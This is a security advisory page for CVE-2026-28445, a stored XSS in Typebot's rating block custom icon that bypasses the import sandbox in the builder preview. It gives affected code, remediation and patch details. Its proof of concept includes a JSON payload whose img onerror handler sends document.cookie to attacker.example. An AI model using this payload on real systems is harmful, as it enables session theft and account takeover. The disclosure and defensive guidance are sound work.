Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-28445 — js

HIGHFix: baptisteArno/typebot.io@474ecbf

CVE-2026-28445 is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in @typebot.io/js. A fix is available for @typebot.io/js — see the affected versions and patch details below.

Typebot: Stored XSS via Rating Block Custom Icon Bypasses isUnsafe Sandbox in Builder Preview

Also known asGHSA-6m7c-xfhp-p9fh
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28445.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk
0.00%0.31%0.63%0.94%0.0%0.3%0.3%0.4%0.4%Jun 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-28445 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@typebot.io/jsnpm
5Kdownloads / week

Description

Summary

The rating block's custom icon feature accepts arbitrary HTML/SVG via the customIcon.svg field and renders it using Solid's innerHTML directive without any sanitization. When a malicious typebot is imported or crafted by a workspace collaborator, the payload executes in the builder's DOM context (builder.typebot.io), bypassing the isUnsafe Web Worker sandbox that protects Script blocks during preview. This allows session hijacking and privilege escalation within the builder application.

Severity

High (CVSS 3.1: 8.7)

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

  • Attack Vector: Network — malicious typebot can be delivered via import/template sharing or crafted by a collaborator

  • Attack Complexity: Low — payload is a trivial HTML injection, no special conditions required

  • Privileges Required: Low — attacker needs either collaborator access to a workspace or the ability to distribute a typebot template

  • User Interaction: Required — victim must preview the bot in the builder

  • Scope: Changed — the vulnerable component (embed JS rating renderer) impacts the builder application's authentication context, a different security scope

  • Confidentiality Impact: High — full access to builder session cookies, auth tokens, and API access

  • Integrity Impact: High — can modify bots, workspace settings, or perform any action as the victim user

  • Availability Impact: None — no denial of service vector

  • Builder preview context (CONFIRMED): This is the real vulnerability. The rating block innerHTML bypasses the isUnsafe sandbox mechanism that protects against imported/untrusted Script blocks. The builder preview renders inline on the builder's origin with 'unsafe-inline' CSP, giving the attacker full access to the victim's builder session.

  • Viewer/embed context (NOT incremental): Bot creators already have intentional arbitrary JavaScript execution via Script blocks in production mode (executeScript.ts:22-24). The rating innerHTML does not provide additional capability in this context. This is by design — bot creators control what code runs in their published bots.

The adjusted severity reflects the builder-preview-specific impact, which is still High due to session hijacking potential on the privileged builder origin.

Affected Component

  • packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx — RatingButton component (lines 153-160)
  • apps/builder/src/features/typebot/helpers/sanitizers.ts — sanitizeBlock function (lines 63-119) — missing rating block SVG sanitization

CWE

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Description

Unsanitized innerHTML in Rating Block Custom Icon

The RatingButton component in the embeds JS package renders the custom icon SVG directly into the DOM via Solid's innerHTML directive with no sanitization:

// packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx:153-160
<div
  class="flex justify-center items-center rating-icon-container"
  innerHTML={
    props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg)
      ? props.customIcon.svg
      : defaultIcon
  }
/>

The customIcon.svg field is stored as a plain string with no content validation at any layer:

// packages/blocks/inputs/src/rating/schema.ts:21-26
customIcon: z
  .object({
    isEnabled: z.boolean().optional(),
    svg: z.string().optional(),   // No sanitization — any HTML/JS accepted
  })
  .optional(),

Inconsistent Defenses — DOMPurify Available But Not Used

The codebase is aware of innerHTML XSS risks. StreamingBubble.tsx uses dompurify to sanitize content before passing it to innerHTML:

// packages/embeds/js/src/components/bubbles/StreamingBubble.tsx:2,28
import domPurify from "dompurify";
// ...
domPurify.sanitize(marked.parse(line, { breaks: true }), { ADD_ATTR: ["target"] })

DOMPurify is already a dependency of the embeds JS package. The rating block simply fails to use it.

Bypass of the isUnsafe Sandbox Mechanism

The codebase has a safety mechanism for imported/untrusted bots. When a typebot is imported, sanitizeGroups is called with enableSafetyFlags: true:

// apps/builder/src/features/typebot/api/handleImportTypebot.ts:121-128
const groups = (
  duplicatingBot.groups
    ? await sanitizeGroups(duplicatingBot.groups, {
        workspace,
        enableSafetyFlags,   // true for imports
      })
    : []
) as TypebotV6["groups"];

However, sanitizeBlock only flags Script and SetVariable blocks as isUnsafe — rating blocks pass through completely unmodified:

// apps/builder/src/features/typebot/helpers/sanitizers.ts:70-82
const sanitizeBlock = async (block, { enableSafetyFlags, workspace }) => {
  if (!("options" in block) || !block.options) return block;

  if (enableSafetyFlags && block.type === LogicBlockType.SCRIPT) {
    return { ...block, options: { ...block.options, isUnsafe: true } };
  }
  if (enableSafetyFlags && block.type === LogicBlockType.SET_VARIABLE) {
    return { ...block, options: { ...block.options, isUnsafe: true } };
  }
  // Rating blocks with malicious customIcon.svg pass through here unchanged
  // ...
};

At runtime, unsafe Script blocks are sandboxed in a Web Worker during preview:

// packages/embeds/js/src/features/blocks/logic/script/executeScript.ts:14-17
if (isPreview && isUnsafe) {
  const argsRecord = Object.fromEntries(args.map((a) => [a.id, a.value]));
  const result = await runUserCodeInWorker(code, argsRecord);

But the rating block's innerHTML executes directly in the builder's DOM — no Worker, no sandbox, no checks. This creates a complete bypass of the import safety mechanism.

Builder Preview Executes on the Builder Origin

The builder preview renders the bot inline (not in an iframe) via a web component chain:

EditorPage → PreviewDrawer → WebPreview → <Standard /> (@typebot.io/react)
  → <typebot-standard> web component → Bot (Solid.js) → RatingForm → innerHTML

This means the malicious SVG/HTML executes with full access to the builder's DOM, cookies, and authentication context. The builder's CSP includes 'unsafe-inline' for scripts:

// apps/builder/next.config.mjs:79
`script-src 'self' 'unsafe-inline' 'unsafe-eval' blob: https:`

This permits inline event handlers like onerror to execute.

Proof of Concept

Attack Vector 1: Malicious Typebot Import (Primary)

  1. Attacker crafts a typebot JSON file containing:
{
  "groups": [{
    "blocks": [{
      "type": "rating input",
      "options": {
        "buttonType": "Icons",
        "customIcon": {
          "isEnabled": true,
          "svg": "<img src=x onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">"
        }
      }
    }]
  }]
}
  1. Attacker distributes the file (e.g., via community forums, template marketplace, or direct sharing).

  2. Victim imports the typebot into their workspace.

  3. Victim previews the bot in the builder. The rating block renders, triggering:

    • onerror fires because src=x fails to load
    • fetch() exfiltrates the victim's session cookies from the builder origin
    • Script blocks in the same bot would be sandboxed in a Worker due to isUnsafe, but the rating SVG bypasses this entirely

Attack Vector 2: Malicious Workspace Collaborator

  1. Collaborator with editor access modifies a rating block's custom icon SVG.
  2. Workspace owner or admin previews the bot.
  3. Attacker's payload executes in the admin's builder session.

Impact

  • Session hijacking: Attacker can exfiltrate authentication cookies and session tokens from the builder origin
  • Privilege escalation: A collaborator with editor access can execute code in the session of workspace admins/owners
  • Sandbox bypass: Completely circumvents the isUnsafe Web Worker sandbox designed to protect against imported/untrusted bots
  • Account takeover: With stolen session tokens, the attacker can access the victim's full workspace, modify bots, access integrations, and view collected data
  • Defense inconsistency: The codebase sanitizes innerHTML in StreamingBubble.tsx but not in RatingForm.tsx, indicating this is an oversight rather than a design choice

Recommended Remediation

Option 1: Sanitize with DOMPurify at the rendering layer (Preferred)

Apply the same DOMPurify sanitization pattern already used in StreamingBubble.tsx. This protects all paths regardless of where the data originates:

// packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx
import domPurify from "dompurify";

// In the RatingButton component:
<div
  class="flex justify-center items-center rating-icon-container"
  innerHTML={
    props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg)
      ? domPurify.sanitize(props.customIcon.svg)
      : defaultIcon
  }
/>

This is the preferred fix because it applies defense at the lowest layer, protecting all callers (builder preview, viewer, embeds).

Option 2: Validate SVG content at the schema/API layer

Add SVG-specific validation in the Zod schema or in sanitizeBlock:

// In sanitizers.ts sanitizeBlock function, add a case for rating blocks:
if (block.type === InputBlockType.RATING && block.options?.customIcon?.svg) {
  const cleanSvg = domPurify.sanitize(block.options.customIcon.svg, {
    USE_PROFILES: { svg: true },
  });
  return {
    ...block,
    options: {
      ...block.options,
      customIcon: { ...block.options.customIcon, svg: cleanSvg },
    },
  };
}

Note: This option alone is insufficient — it only protects data entering through the API, not data already in the database. Combine with Option 1 for defense-in-depth.

Additional Recommendation: Audit other innerHTML usages

FileUploadForm.tsx:234 also renders props.block.options?.labels?.placeholder via innerHTML without sanitization — this should be audited for the same vulnerability class.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@typebot.io/jsall versions0.10.1npm install @typebot.io/js@0.10.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @typebot.io/js, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @typebot.io/js to 0.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28445 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

## Summary The rating block's custom icon feature accepts arbitrary HTML/SVG via the `customIcon.svg` field and renders it using Solid's `innerHTML` directive without any sanitization. When a malicious typebot is imported or crafted by a workspace collaborator, the payload executes in the builder's DOM context (builder.typebot.io), bypassing the `isUnsafe` Web Worker sandbox that protects Script blocks during preview. This allows session hijacking and privilege escalation within the builder application. ## Severity **High** (CVSS 3.1: 8.7) `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` - **
O3 Security · Impact-Aware SCA

Is CVE-2026-28445 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-28445: js XSS — Fixed in 0.10.1